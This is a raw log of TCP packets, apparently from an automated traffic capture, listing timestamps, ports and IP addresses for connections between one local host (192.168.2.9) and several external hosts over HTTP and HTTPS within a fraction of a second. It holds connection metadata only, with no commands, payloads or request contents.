Sep 21, 2024 13:33:41.490559101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490575075 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490591049 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.490591049 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.490602016 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.490628004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.490658998 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.491255045 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.491323948 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.491327047 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.491342068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.491359949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.491396904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.491419077 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.491419077 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.491461039 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.491465092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.491859913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.492244959 CEST	80	49718	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:41.492311954 CEST	49718	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.492506981 CEST	80	49722	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:41.492752075 CEST	49722	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.492752075 CEST	49722	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.493789911 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.493855000 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:41.493938923 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.494215965 CEST	49723	443	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.494235039 CEST	443	49723	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:41.495857954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.495872974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.495898962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.495914936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.495930910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.495942116 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.495946884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.495954037 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.495965004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.496015072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.496015072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.496155977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.496406078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.499254942 CEST	80	49722	185.166.143.50	192.168.2.9
Sep 21, 2024 13:33:41.499371052 CEST	49722	80	192.168.2.9	185.166.143.50
Sep 21, 2024 13:33:41.522274017 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.522331953 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.522362947 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.522407055 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.522555113 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.534647942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.534682989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.534718990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.534750938 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.534809113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.534898043 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.534930944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.534965038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.534972906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.534972906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.534997940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535024881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535034895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535058975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535067081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535119057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535135984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535151005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535170078 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535183907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535191059 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535192013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535221100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535237074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535291910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535300970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535352945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535353899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535403967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535404921 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535440922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535461903 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535475016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535490036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535507917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535541058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535552025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535552025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535573006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535578966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535608053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.535623074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.535887003 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536034107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536062956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536097050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536106110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536106110 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536137104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536149025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536168098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536202908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536216021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536216021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536247969 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536253929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536286116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536317110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536324978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536324978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536369085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536371946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536421061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536436081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536453009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536468983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536485910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536504984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536520958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536554098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536556005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536556005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536587000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536611080 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536622047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536655903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536667109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536667109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536688089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536705017 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536720037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536753893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536763906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536763906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536788940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.536837101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.536837101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537069082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537102938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537134886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537147999 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537147999 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537168026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537203074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537204027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537235975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537247896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537247896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537269115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537283897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537301064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537327051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537352085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537353992 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537383080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537415981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537421942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537421942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537450075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537471056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537482977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537516117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537518024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537518024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537548065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537559986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537580967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537602901 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537611961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537640095 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537647963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.537662983 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.537796021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538142920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538176060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538218021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538218021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538227081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538259029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538292885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538309097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538309097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538326979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538340092 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538360119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538394928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538405895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538405895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538428068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538455963 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538465977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538485050 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538500071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538532972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538537025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538537025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538566113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538599014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538599014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538599014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538631916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538649082 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538659096 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538681984 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538691998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538727999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538742065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538742065 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538790941 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.538959026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.538992882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539026022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539031982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539031982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539060116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539081097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539093018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539115906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539124966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539160013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539170027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539170027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539227962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539500952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539550066 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539582968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539603949 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539603949 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539616108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539642096 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539649010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539663076 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539684057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539716959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539729118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539729118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539748907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539783955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539799929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539799929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539815903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539843082 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539848089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539881945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539899111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539899111 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539916039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539940119 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539947987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539978981 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.539983034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.539995909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540014982 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.540049076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.540061951 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540061951 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540081024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.540101051 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540116072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.540162086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540162086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540328026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.540359974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.540379047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.540424109 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.580157995 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.580209970 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.580317020 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.580317020 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581242085 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581260920 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581279993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581300974 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581335068 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581500053 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581517935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581558943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581604004 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581621885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581623077 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581641912 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581659079 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581680059 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581705093 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.581789970 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.581907988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.582590103 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.582606077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.582636118 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.582665920 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.582665920 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.582688093 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.582902908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.582921028 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.582937002 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.582961082 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.583022118 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.583064079 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.583081007 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.583097935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583113909 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.583113909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583148003 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.583190918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.583190918 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.583223104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583239079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583252907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583268881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583287001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.583288908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.583288908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.583302975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.583332062 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.583936930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.583952904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.583970070 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.583992958 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.584026098 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.584026098 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.602689028 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.602777958 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.602780104 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.602799892 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.602828979 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.602844954 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.603033066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.603049994 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.603066921 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.603096962 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.603194952 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.603410006 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.603615046 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.603631973 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.603647947 CEST	80	49712	176.113.115.33	192.168.2.9
